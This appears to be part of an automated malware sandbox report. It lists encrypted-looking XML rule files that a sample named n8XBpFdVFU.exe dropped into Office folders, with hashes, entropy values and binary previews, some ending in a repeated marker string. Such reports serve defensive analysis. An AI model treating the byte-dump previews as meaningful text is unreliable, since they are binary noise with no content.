Preview:	<?xml.].4G.N..4.<u..6.g..\|..........,.f......C.9...m....b4]F..x.4..:..n.>8..&..].).pK....[qG.@...M.,;$X.]..$nV.$....a=....5.0j.QB"].}.&..<..s.....fj.....Hf.Y.bZ6.)..=H.LB.....P..E5..i.c.......$...s=...\|_..K.m.@.P.3H..z.d&Pn.n...N.Gr.1T.[...T.7..AwI..}}...]>..<I,.}..!....._A...z.+Y.......=.....@{.#f2.1`zz.6.L.l..5...R....^l..G..M.~sY.,Z..q...A6.X...%!..(9.Z..s....#I....dI..,.)...?n..m.]a..O^.h....Wgh.\..g...$r[...}.vA. .P..j.\|$...@...\...C.%$.-....K."b.S0.8....E.7..{..lo.1.P.[..Y..._.:D..z..\}.y...,d0r...I.W...d.\|..K..:$...p[&..N............X.{..p[...6...iQ.../.......Uw.6.<6.m1...$.a.h.NKr...ss...a.g....z.p.2aj.....q.B{7..?s4CV..p......?Q...;F..%+./..$.a...Ga.7..y.......jxU.-..C..K..W-.........O0..J.~.jf.g`.X..m.,..u... .F.L....'0!..#.F....s....3!.g ...L...dFg.A.C.5K.Pr..Q)P\......pM\u1....:......K......u....".......6..d..J.-C7....]ZAG.bfz#I....CZ<.VAqI..f..Z.H..>.q0u8.....y.{5yH}..8.\|.a.D.}..e..z.?.....$0.o...n...Ln\A.zv&.....G.....<.E.FW%>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10808v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.869073924017159
Encrypted:	false
SSDEEP:	24:zbZZT+Jg3TtVZ+cj8bgbXYPZOUao/TTrjPRungXOpHI/lbTnVSYsS/1bD:zbZZT+UTtVHWiYPgGRuwOpoNnnVrsS/d
MD5:	6E6A7DD1BE7B6363C7F452EC9735E201
SHA1:	D1815AA4A7D9C9BE6E8784D5087DD9B17BFD3FC1
SHA-256:	F2620EF406DE9A6F430C78466525716683EC41823B92AA70FB063363AE7FA9AE
SHA-512:	A84F0CF21B864C4F5AB949BE63B12EF6F648E7CABE058750A86DE9B8EA0C8B0B22951DD6A40C88E53215F5166F48D4F2D2272155704245218D39F2174A960C9E
Malicious:	false
Preview:	<?xml.P.f.... ..H......W....^."s...}<.Xr.U...Y..xK...o..tY....03..C....ws..bD..T.[....\|a.0.4..\.9...\,;i.]$F..z,..... ....5..4...Z.....-3....(.r...0...px.d{..8.s#D..\|%.s.)".......!B.-vay#o.B.R\|ZQ[.B.Yj....V....ZK%.....^..Oq<b<.??....?.W...T]..y{.gh.F.:.....Zc.'...M.D..E..;._..rh..M......W..`&e..B..K.....W..M {jN%8"?}....F.e..{."..z`(.=J.H.3zu.....-.sw.R..J...+.........^gL..2...2..8b._.V...S...b.5.JuL.....:.PH.X...p.@<I....-2........a...d...-8....s....'g%W....N...G&.y.(,....Q.[.J..(.jZ..).N.2...q].xDS.n....Zid..j!t....\.s{.%..v...5.E...9Vh.d..~..~T0..q.<.;.).JU0..8..Foa[....5.B..0!..W........\..>..sgW..e.jj.S.{.._.&....=.......$+[.\|=I'.....Eh....S...aqA.Y..XZ.....'.X...(!.\|^.. /.O...Y.....[...7"$...+.~d.o.......W............T.c+.w.......!..$G.!b.....k.$Qf.OF.A. f.e....^...A...w../W....=rQm.R...YL..sVqr.e.....Ha......3.I.2..@...Q....`..........>..`.8d.~...O5.!g...U8@Kx.....!:.$.*-.h\|.G<..LA+}.e{....x.I..>M........t.~.Lg..I7...G.F.. !.#....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10818v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.823495295448406
Encrypted:	false
SSDEEP:	24:Ajzeg9DvMofFzPVR+Keczx8xlOCOmnFoud36o6HbD:Aj7EobtHzxHVm+ul6o+D
MD5:	4B319D147D4874E1F7216323B9B7AF63
SHA1:	177C90387F38CFB32FC6BF6D4A1D01B80718CDDA
SHA-256:	698D8AB170CBB1925E4EE8C9A564A0CC14B74EA24CAF3B3117F6DBF1D74322B1
SHA-512:	47014C6647333BDD6995394F0C47CD9E59FF6349D7DE942BCF55C2299D7E3C0F9F9B208D833D207C992A86E06A571EFE6517FBC81B0485E34FD4683D345F5960
Malicious:	false
Preview:	<?xmlSd..c[J.....8..V...S...k..,.Y&.e...%....f.W..\|.,.v...D\|`..L...X..:..K..9......7fW....r-.7.....(....'.~..Wu.\.. ^...p.Q.D."2v...}..Y.;.....Xzm..-...,Jb...3.5... "..f.d..c..e......D..j...V.P.j.K.Zj..C7A."...F...!.-Q.k.4.d...X.rc~u.. ......N..A..s.an.N.....jZ.8.m.Sbk...'...r.G.>.U...i....Fj.R..J....5.M.[...^...fg..;e;....p...)..b7..[)....y.c..u..n.)...x.....c.....Wi..'._.Le.}.v.n.8D..zv.,......8.Z.R..$...u~.\..........;(I7!.rGA...6T.."..?...W...q....b.!v"...vO..i.>....L...rg...1..p..e.k.V[........yF..#..W[ncpw..~)j.H..E./...q'.u..../....2d.&......7...5....>.+v...sC8.k....cw....A..#...U>..3..$h._7].m) .,..I..@.K..........4...b..U..o.......oO.j...=x..r.T...w...r..o...A..a......Qt.$#.....6..T.RW..A...9......8.k5;.[6eC.LU....V.. ..@.&`;......%H..pM...P.p.{.:Ws9f.=M.I. {"%.....C...t&.X....t.\|.s....#...0G..<...>.."&..1...a.-,.e..6..a..q.T.M.s.+J.....j.$i]...XU...g2X.{........=.1zL).R.T8.B.v.HU2...B\|.y].y.........7..=.=.Ga...Uo...E4.lC.)..e..mNu.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10819v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.980549288171087
Encrypted:	false
SSDEEP:	192:zyPBCjfOjvf2/nR+6H6Baky2h4GkeSoEgmzax8uW:zyJCzqvf2/nRJGxke3EvzaJW
MD5:	8F0FCB5F1B0B50B0E8E31DBF7613142F
SHA1:	14ED98F1F14D2E199B4B358D859A6CA6D6EB723B
SHA-256:	26F201D1EFF21BCE0F4888FB09BF276EDA6F62EA2885B1458248D737D6661AF6
SHA-512:	0F8F5F9AE7FB968DA2FD2704F9D72C40EDFBE8792E13FCAAE4FD63B3878EE50B85702DD4F550D0425048CC902FAD6191689F80B34F30F8E1D2CB8E592617FB2F
Malicious:	false
Preview:	<?xml'u.B.b.."..m0....=...n.@....k...%.8o....XW./S.....wK./.....<G.....C8%...!.Ou..L.1..^.YaX....8.{,...^....M.E9.....m>..X...J._...7.M...JV....r..6......0......r..'..b~_...m.Z.....;..08D7..XQ...E......&..`...........1....Z..lV...D.....o....3;[d^.P.kr(...<....".W.. S7.}.k...9..H.Q.];.".(.d.DL5...P:..r`".>;......Y._...v.O@.....{m..Q=`#...%N7....."..v.........[...&...Zf}f.}.....,%.....lm<..g.z.{. ..U....A....C..!...?........J>.-.V..@=..b..w..;..9.#.C.a14.V..Z.=.A...s.P..j....P......~..&.=.L.....u1..R.6...Ff\_.g.^.5O\|.:...bM..JO*...X.tI.......xM..(..7....m.?..F#.....8.^.m.......V.>..02/..l...T...#......{{D0.L...tl..mwf..Ud{.....b.....4@F.......1._o[>P...V..cgpe..F..D...uh<..6..'.zUPI....(....hF..M...Y.E."..o....y..-lB....'.0Rc^.;......].H.sX.p.....T).....)......+......,...o.....qCr.. Q..C..Cw.d,..[=...#.J..u..%r.t..m..C4..&o......PZ=..RE.,....>.7....6C.:...!..R(...93G....z.[....D........@4/PF<....i......S.S...Q.........``...q..m.X;.'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10820v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.967119303189324
Encrypted:	false
SSDEEP:	96:MZTKSmqMI403drB5yyYVPVDWeCLMlUnmjsWvK4tdRyk2RHJWiB2y/qRPZBfK/q0:MZmhqJ4sd+jW/MlUnqHt6JWNy/APZ9Kb
MD5:	96264CC7A34D401599FC7BFCE596F27F
SHA1:	1DF544F31A63D2AD0D45F95376EB256B2A6E5BA7
SHA-256:	EA79AB5A55115A9FDA904E38644124164075ACDE09DF1B09CF2ED1D7B3AE6465
SHA-512:	4808F5B3ECF12E072B30DFDE2EDD595E301A8919744B9A92B60F59DED7CA876B45322118BC6D92F52E9F7FFEAB19A74D124E40CE0F38507A91D512A39A72D8E8
Malicious:	false
Preview:	<?xml.I.IL....Q.fE."......G.....G....:.Hc#@.dJ...1....b.WT{i.Nk..E..xW.]1:.A?.y..........:#.8D.....hq....NqscLp.4.1........9.7.........X.H....d...7n.N...:.....vH[...L.\.._A..3.w.8..9...h.....VZ2..+j..I...r.T!.W)...4:....+..9..X..,.r...........f$..SW.W\...p.}..8......k_..c......P..]..\..r.8.5..;...z.:..8.,}..ph..-.{...~....{..V...,.../ZW..]....:.tA..-.[...{..fE.4e....S.s..JG.......Q8...a.[.8...\M,XL......K........9.W....1..j...ql...._....'>,.......6..B;..p}._.g+n].U..+....._.?.....y......v+..6...)d......v....H.c47;"7.'.O...d..Rg..9[.i\(L.T...K...+..H.+.................U../.3...rM.o...x....%/.:...i.C.e\|....l..;m........c.8RfX.@.#yGz.....Y.S..h.LA\p..2...=a.."NS0=.....e&.4.Xbu.....1I.cL..q..P.....H..}H(...'7.<..5i.VYW"..y..@}.;i..}.-..."x*.]9j.c......@.]J.....9).ae..xe..o...<~L5..6.Jm.Ge.. (...U&$z.......i8....uHt...~.#........`.c..X..A..r>....`i....[=..-h.......E!02..o...E..kj.z....S..O.....Y..@...jv..~Ofe.DFZ..I....ml..c=&U.._..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10821v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.960920159512525
Encrypted:	false
SSDEEP:	96:VQazUpRA1QuIhDRlMoGTXno0WGicFV+/UqM6KYU+7B/f5Z+MeCF7e4k9BHY8:VQawUy/7Mo6uO2nW+7sg7RkfHY8
MD5:	94FE973C286277C074EA06AC5EA71FF4
SHA1:	4FEF9F0E3DD6755C54EB4AC910C3101816078B13
SHA-256:	779150EB8AEF00EE9745C8BE9B889290AB4803FD32A47EEC21ED67914441CE1E
SHA-512:	7A9F1AF3BF49858260D53E4F644CF35E34E99C92E6693E3857859037AF92D8BE640B6BCA74B630C8E471AA8005621182646D8FB194F6515B4187169CD6C6621C
Malicious:	false
Preview:	<?xml.`gF...5K...\|...Brg>R'..28..g...t.R.}.T..I....R\|.K....E}M .$^..6A..8~..`.s.Z.o..]..[.......<.U.v.1..$a.]..rc...\..,^..y%..o.".PHJ.%..R.....R..y..=^W.A.P6.5....f...`.Le.z.86.):...9a.i'..&WW#..(...c.^.'..JGc.ISq.V)......g.D..m$.^.&...8.\|M.L..\..1.W.7./....X\..I....ousJ.Q...!B.Q..Y...j.9..1p.R....._..W...y_jX.y..z...N,.l..%._/O...-...4...a......j&....K...k.E.F.~......Ue..d.....eOx...L..z....t....T...y..q..iD...n:.Q8....xB..rjp ....f-t.qQO..L?;1#..F...G.. ..5..NT.R..~S..y.....Y.GM..}.'b..4..l"..6...R.).B.f...1J..8...._v.BQ. ..Rp.\}....CJ.1......M.7.&...e...f._}.L..v.:.2\....v.T..Se.....!...u...3.V.$.\|.(/....ld.g.9t..3{.5.R.j..2'..:..v....zZ... &......N!.`..v$...w...I.x..e....d.>.4.SY..^......w.fX2\......e.s..`+cMG....h..:.b6....... '(..gw....\|...z......9d....Q.O.KV...u.b$.....R..];.Q...!;..C.h..,.^...^..QW.8.TN.D.66.$X6EE..496.@Zp.ny.$.....p$.v07.[......I..<p....J.9m~ce1W..Q...o...r.>.b...n..a...2.x..nm...;...o.+#..0..i..o8.l..;...C

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10822v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	7.954102312103857
Encrypted:	false
SSDEEP:	96:7prPdsj42ThW7lUv3vYz5hYBPg3xPWHczT16yU1tr0eQ9wlZ/:7pKj42TMlYfUjYBPgQHc4Tpcep
MD5:	0D5F0FA4B941100845F7BE3D2FA6E21C
SHA1:	CE20339D7A6B0B4081D3BC2527DA3DE65D399521
SHA-256:	B0B426A0C8B96AD42DF345B4CA6CA6BAD38017AF8AFA8CAF28262BB984E09318
SHA-512:	7C35F7315294F743DB824EDAA43E9529E657A4B45331799029BF9321CEABDFAFB4B77A2232982381204F4F687C5791B47E319E22E8024DF363D0F498A97D9B9D
Malicious:	false
Preview:	<?xml.0.;Y.f.F.d..:.........6.U.~o}..\.QM....&......:..W..d...E.0.A%....;..+..PZo.0..H.i...r...(u%'&.$.].b....a....h.F.}...u..s..6.`A..ws.n..^5.....]ki.f..a.A].e.E.QF..O.Cm../..}%.{..;.(...!..wS9.s.0.z...ZO....p$..... 1...&.3.=..I....&......!%.)}DO.H.+.S.F........\...]..[).....mqQ..(.........}.....f......q.........s...jZ...HL..J..(..35.x.D.?..........H.i...z.+ssu$..m..K...$.X.L+Ui.....a....}$k.6...]W...wmv..5.S.....r`A.}.b.rG.t...Iz=..e.U...._.....\|..#..2..9k......eY.m.nz.<_0....Z.g.."0e}.X..U8=..7..K;m......I..K..d[J.KP..`4G.-}..?.....h.. .+:..u.p.J8Rq.......P..;$.s.../Ef\.!.......Cf....y,e/ZJ.......^.h(.<.{Z.dV....m(.H68nF....c2.!.?.....J>v...h9^...<xM...Q..F..~........"}\..!.....J^..........&cO......j...0...7..b.}.y...9..e@^0..{.7<n4.... #y......Pf?_..s_O.C/..&y'....@PoS...k4...ZgNa.a..2.Q......m!e8....O7N....M`jAZ........bV%..$Y/!1o.../.}SC.... ....?.^.?..JY.id.H.Gx-R......oy.gc#1..L.....T[.I.e2.7....E...F.n...t.%V.@B..'2.03.s.2..].

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10829v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.939580561295206
Encrypted:	false
SSDEEP:	48:nkkIom+BzRfbbXdDf/sypESTVNJt0yDwstCqFJOT7Ll59VVoAxwhzfmutTkD:uovfbbtDf1EST9DNYqFJOZ59VVfI+D
MD5:	DA59922100690C53B9F3135A97291179
SHA1:	6EEC0D630D7C59CBCE7EB29EBF9B2FB1C41219E7
SHA-256:	C295C21935773763E092E1154A0F4D5285ABCB8E36FCE20F6C3580D0AF40E571
SHA-512:	CE72371D57056559AA6897845493AAF95A17003B9095FB417114C3759080C85AF20BD6AD4F8093F3898FAC18DB5B9D665CBFCAE4557B15818BAC4C8B96EA6559
Malicious:	false
Preview:	<?xml.A..<.f...........w....&`\.e....P..G.^...1....c.....Z...W9.j.....C..t.e.H+.....r.......<....k.L.).-....f...k.P..y}..u..!.)0.'..g..z.(1.#..X.<...".zG.u...!..{G.a'{i-...... .[m.J._..7.B.(.&.O....8.R[.&..l.{.....D.{.8oqY......,....F....b..~.a...Y\|8J.(.A.Ao..{r....n1.i@.\.(N.xa..-...}.V....].nZ.n..9..kACAU.\|......c.K.W'....}...J"......@n....~..0..kP.xV....<.fo..)....Sest...f."F..h....I&.`.0. Xiw9..o?.V/....."...H.\|.d....2.:yA..6.$.{h.g.WJ;...L.\0..j.`t.P..x.%.h...%.R.....g....<...Z".m....k...NH.`!=.....C......%..(.`.@&.'........;.Xy..)?.(.w./....j..aD}.>...o..).?.0t.(.......9..Z.H..f&...h..aO\|....j.tG.r..^o.]:?o..',u.m..Ho@.6P....M....I..Y...+R\.....p.....MR....;..$eu3d2@....0..C3Db#Ic....)...k.R.$F.....i.N...f..8.6.4..#.g..^.(%7...F.?g..)..;.N.&.qz...cH....Y..y.\JQ6...>....2..=.dj.yRX~...3.4.e..........?...S..K%.^V..t92..9...@....z.;+ ?..a..!......g....<h"Z.....2..3T..G........+..&..S`..b.I....#A...?y.'.._...U............{.'...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10879v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.703790029660882
Encrypted:	false
SSDEEP:	12:q81cxA92ZE3URcyeL24RMSBPt31VrsLN2+PlyHeskQGzFts6WBg2fVuE8Qof0+1E:qzpc1/d1+lPG3kQo2ZB3fVjBofhWHbD
MD5:	492EB4780421F056314505D2B26DE6F2
SHA1:	BD50EE15AAA448BCAE4ECA4F976E9A17B9ED45AA
SHA-256:	610BD6B56C8B86E04657E13AC3362931BACC34F01F4F00ABD7C64FE5C2790F74
SHA-512:	485EF507710C1618B963744749F4439F7BA9B3CBACC431AD78B6F9DB3F0070E373EA018C473A8AFCE1ADFB39E6C8562745A25C7503CB390C80C3A7F1D282CD1B
Malicious:	false
Preview:	<?xml.JBQ.M>g...VP..W.1....`2_(....f;.@..G..t7.....`.HXt.A;...\|..}.....5..9...=8...P#.......k,....7........+.o.........?....6E5.p.+h<.e.+W.H..r....k...F..Umq..N..%.d..S...... ..2.....+.r1......WO5..u....5.\...jz....6.p....<&^.p/..d..^.FG.;..........q....Q../.S..$..H.Le...{.&"...i.@5.E...r]M..M..I..._.KdE3....M.Mw..............p.b=I....[.%b. .^..q........>..$o..2..=.M.6.k...)K..]..e..5.!.....;..7h(.5..V..Yd.9..@..>F.Ko.:..B....j..h........z..b..9.(...6`'DC.o?..)I6..~....\...\|.....aR...xe.\.S.y7o.7+O...........#..\|.o..+...A.X...\.4V.o[..A.'j.-W..%..R$....,N........J.H*.-.\|k".}By...I_Q-v.0.v&..R.A.....{.v...$......Dc..!+[...t..p.&K) ...wJ..C...U...v.......d..W..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10880v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.9330137710060855
Encrypted:	false
SSDEEP:	48:AVc4DiIeE+eUrz2i+h2NAaEMHz4UW974ZWMyqUomILOE2Qf7iyPXjI9onxaFD:A7eHxriPa/T4vcDyqUomI3j7Pzlw
MD5:	B9EC95C57A922E81E8C3F2B35FAB0FC5
SHA1:	BEDED107191AFD23585DDE891E982FE4B4C6C819
SHA-256:	647D9855DCE5D5660C464142AD5589C4643B5A1CC7CA400670DB48F511101B04
SHA-512:	7A4706E53A95C487BC9FF179D51C6A2A4779C28228AE4E170F8B62033EAC0794593A0ECD9F0596B84F16F16BE82FB2C9CA81A8870CA407F14E6C40F5DAC4A86B
Malicious:	false
Preview:	<?xml.]....01.R..].....^s..~[.....4.b.;3..6.KG....6.>.N.'i.r...1.D3CBm......].....y6.y .X.?....H.L..{Y.M(2{...bY.L..&../@..~..g.......U-%...k2D.........QP.'\|.:#.{]^..Q.......Y.T[...x........3...a^.oH....{..'<+.n.d..`.feq!uy9...w..fT.`'.l.<.hv........Q....z....t....r.....?...3\....H..p1~....6.]/.....$.....D,.C..I..z..+..Q-....h...O...........A..Q.vv.J4;^....I3..j..i....+X.......}~D.4...K.#.v.s5`.;..n........l63.....'O....BI6R.........fL.l.+o,."...N.>fg=....W...h<.;f.nh.t.L..s.'[.0......h.g\.......y....:.j.;..V.I:e..i..R..H.Ql8.W.^.\......w.W.6......R.>..)..3f.w...]l2Y......H@l..GC...V./+Cl#9....{....d$C..Yg.4+..P.....0X.$H.......A;.^$...R/6...H]...8[M.@..t...V.%..R......{..Z..]I..&...bNbLwy<usC.....Mb..P...)@..........QJl.6...1....z.z...H.)...Cl,[A..P..J....Wa.Q_.+$..[u...}.W.........N?_...]7..[ ..=u....%U.V.?g....\|.:...3R?^i....g.....5Q..<.`g.P.....W...)....._k.......J..o.R?...-...i).I...1.$r.<.tN. (....,.....{...i'...k...P. .d%.r.....L~.I3..WR.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.729020894881585
Encrypted:	false
SSDEEP:	24:JiAB2X5OkhvhQ55nloam31TsSJr422mOrNjrbD:xwpOKpCns3JB2drNjPD
MD5:	AD66019CDB0A9B9B3EBCA50CA2EBB000
SHA1:	DA7377B56D6FA9F182EE4726B107FA3C795884D8
SHA-256:	24EBF7F473920C0EEC56E440EC74F04DD12F1E3121BE0A39C1F648ED91EE5F6F
SHA-512:	D8D19980FB6CF36E51BEC9A780A92440A71C063EDF8A1BFC7CF9D5C0BA579A14825C9554F118EEB39D35C91A865A19835DEC86E711F486C2603D99FE236172C1
Malicious:	false
Preview:	<?xml...BQE6.....&.:..cIb.;R).r.f[..+m.=.".^9..1u..Y.....C...G0.....`.........v...S.....GC...F.w1.;.Q.i.@....d.......1.5.....M...dy.V......tU.u\...:./..\|.F...l...Tj9..'..I...P..f...x.6.\|........YIQ3..."....S....~.P....PV...P>.4.c>..v.s;y+K.vQ.>..$.O.GT(.!..9.4...Wr.Qc........v!js...9X..F....A6.R.~&2.pD4...ty..Y#f.5.-.F1..n}E$.ZI.......T.j..r.7..........O...TJ.>....].U..}w..4..:..d&.[.........ox.\|.^..9...?...K......#2.CK...=Oh..L.2.O..2.(..5.(]g.=..r..h.&.......Xir.`\....:..3....0.....,../..NbR..j..........x.Y..L.:...<o....pi.L. ..l...gY,....2(....p....Rz....[.'].W..LU..z#..pW..7Pxv..&.U..d..r.,`l...........Id.\c...*%......=IC..&..0..r..[..D.UQ..)...du..........'.g1b......x..p...1.e...P.y..'..\.NY@y\|/P$.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.935311585537588
Encrypted:	false
SSDEEP:	48:srOh6VA+eCCNttmUY3P3+TmsfhPY3iwaJXR7CuO5ykh7OAcwKYhQkQ32q2EmD:s1h2tm/1sfFY2G5piA7KYVdqC
MD5:	130027A76007C592A03C2307B91865E3
SHA1:	C94828D952CA07E4EF7E80A375CDC9296E5EA15C
SHA-256:	1F322821BB405BC23DAB4C4DBA559F4047806108487D6770F5E89930276E628A
SHA-512:	5E5377575A36C5B14CDC1D97C2E879DBB3A6A237EDDCC613BF476EE8CB1DF15C7709A861D24F65F9989C5FEAEEF615073007A784BBAF9A0D15E6D2FC1A13C844
Malicious:	false
Preview:	<?xml.>.o.1..w...&n..x....%....t.TF.OA..Y}TJ..Z..G.8gp..J.Z^...3.i.5.l.qPO.r.eB8o.].......:S...........y..zyD/....E.9....g..]].M;....O.Q.t.+...y...{...Hf.]B.Y..8p..`..m7.r.y....1".p....\d. :f...R.@V?8d..E....LU.^k..&U)~.^..<.....il..>..^K...&....7.........N.s/..5Z...........5....Y.S.JD5)eC.....m\..V,..J.0...Rds..`G0..Jr.%.....u..xu..n..l..z.]S..w .cbcs.sFt.4....'u..?....q..F[2...]..Y.7...-....c.....9.9.~.}.;.Y.0qn{86..o_.1F...;J......O..-L.%U....R.8.y~.uh..X..........8du=..NZ.....G.bk..lEH>.u0.F.......N...q..7....^%5.o...[#.^+/y...N:.O..t..^....q.u.s.....@......X.ca......_..I.NB.kD....`j...Q......qge.......f{. ..v....#.w.(.\..z"...V.....Da..]=...].....A.W...WV..N7_....R........O=Ml...W5......$`.jm.%..g...vTj....a.....T.i{..y..>....Z..^X......_B.2..i........B.m.6c.fi..`.......,/H<.Z._..$2..f....k.z...^..../.....X4..8.Wp,{....MD..i.C.v..<%.........3.../...............e..@....5. @).3..."...;kJV.......P...=Zz0C.!.We ......<..G.N.E..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.796766910628966
Encrypted:	false
SSDEEP:	24:dkeorlVEaGN/Ter0Vb3qz1tqR6/P5OK1+WfIoUKyTsbD:duENN/qoVzqz1tqcX5O0lnD
MD5:	7105C5B29141BDD668B867C448DF61D7
SHA1:	746B367ACB2067BF5A893C50F3CA20ECB6AFF3F5
SHA-256:	87CACB7CD48FDA53C46C0C7429F36D68C578858894019369AF5D4EC613CDC8FD
SHA-512:	2B5A2CEC1A5C8CEA2FA429BA26DE3C9488074D4F97D13296D0CEF0CA3A84630C26EB3723B88077DEBC574CFAD1916575BBEA482B03E277713A74AD042B820F21
Malicious:	false
Preview:	<?xml...}#.^.......Hx?...."..X.h......m...K..~.}....VZ.......q.)O.%......]W....].y............8.6..d.0.0.z.A".m6.zZ...E.....L..TU.`.Ziot....2X6....^4JA.Q.e..4......u."S.mN...j....hqo.+B...thy.,....'.~..#$.lZV6....M....p.T...I.=...q.....#..c...-.n.v."Sd.r?".HvJN7.g...6.M.t2.!....\.7.W.c...w5..7..V.... ...1.#.....j!..^Z9...c.Q...m&)..O.....@a5j)........Oc.......4.?.g....4..;...tPS.t.n...L.....i.......r......$.sY>.G.1..XW.'.^....:)..G..I....u......x+\pt:t..5lG..v.z.-...!...$\../..CV.v'... .Fv....m.... .....u...A.......zg.q=Y..........j.XM..Pu..._..6.C...\.<...O..K........^...Y..Qi.S.....vN..Fa0......g.v........g...<.cW...@..9."p...]<.....a...4k.c........!..O....I`.-`..O.B.^..X....>A.L..1./T%.....K2..o{~.v.....A....00B?'@D..)7.s.g.<...S...+..gP.<.a.T.,....y?.......m.c..;<..[.5...v.....M....g1..@m:..Z..lAk.rI.O.Q...,.......z.).8.g>3......iY7.I._.s..1'8.I{.$..p....\|..[.;..3}O$.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.852626155481519
Encrypted:	false
SSDEEP:	24:bPJ6ppSka1ouZpNnR0A9B/yw2r3FQY2hTxe0emlGE65slonI6BeM8hUed8POcXcY:16LtMp5+A9B/yw2ZQp1r3fhUG8xUiTWy
MD5:	5CCE2B3B25F47AF57C8D61B30E804184
SHA1:	B5CE1F5FA1736EAC9CDBF4D21AA54B4A36EB7047
SHA-256:	875460B40CADA317E47E64AC440ABCD75A14D2E1402840368BD28A2E8C15578B
SHA-512:	E8DC93F647C8A3B57A7A3F6EEB68868D03063E9BC17BA6CB26A633083001648438DD797EA6389FCF914C0186A6ED80AA9B3698CB3CA56413F18924A3AB872968
Malicious:	false
Preview:	<?xml...zE...L.....9.....t..Jd.V...mq.'.`_~.F..VQ......nnoc.eX.g...8x.kD.{vA..~/..Y&dY.j..#.hFS...a.....q...Dm.r............S?....w..8..S.V.mTx....% ../...h.q.p.."U...C...NB..+.A.1..N.L'<.."G..B.Q...tKH..w.U...f.s..W?S...X...Fl.y...t.`#..2..73.....).^!pW....!...t...;.L..hOp........~.?.y...X.E...l.....x68...q{..Au..T{.M#..$.Gy5..Rx.....F.@r.....I...!K.....o..A.m..v}z........,....... Z.<..8.d.../..B.t.]K.Elo.k.m....(X.;sgx...m...GL.U1..[.>...t.P+.3.#.:.u.;``..z'..s...4......M.......Hp.+-f2;...AY...m...... SyBx..&.......#C....`..1....08j..m..B..".i..s....[..O.,.....\.H...tz...:&...w.mk'..k....-..0....'.o.^.7.....Db...FiM.4\.....6.Wn>^.}?.RP..a.X...H.e.;...'"\.-+...)V.....fRn."Y..M^.c.1.K.....*.O.A.....-.....8UZ...{......[oFA..Y..a..k...O.......-C.X.a.Er.+....v.m..&..0..#...S..J....Y..G6.X>Nh+..A(jQ.x.^.;/Q.%.........oj...-.....Po...@....o......m...nQ^ [....mcZ......a....I.............tKW.a.<.%...Xk.PuI)..%...D.H.....y..L8#..N..q..:<gVd.G,.}..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.790347914926755
Encrypted:	false
SSDEEP:	24:9X4B7WciFXGA+gQlmSAg5FGkbj14JJC/wGkMybAUXHbD:1o7cFXGqQlygH/14JJgGh7D
MD5:	A68D03BF7BAE5A98036D788DFE7F8787
SHA1:	63B5A9B9FC9F5E46B893FDCEA71C0AD47806C564
SHA-256:	A6C57C751F08848C4AD875A4C646947FA33BC06A7F814FCA114F6C355E2FA095
SHA-512:	945F95C4A99C61234390B85E28E0B6400DC64BFA9301DCEB9D4AB8690947F32933EE0E96D80221C9DC7FA0D93428E3BA8F69CD07C6E7AF68DF309A1554DB195F
Malicious:	false
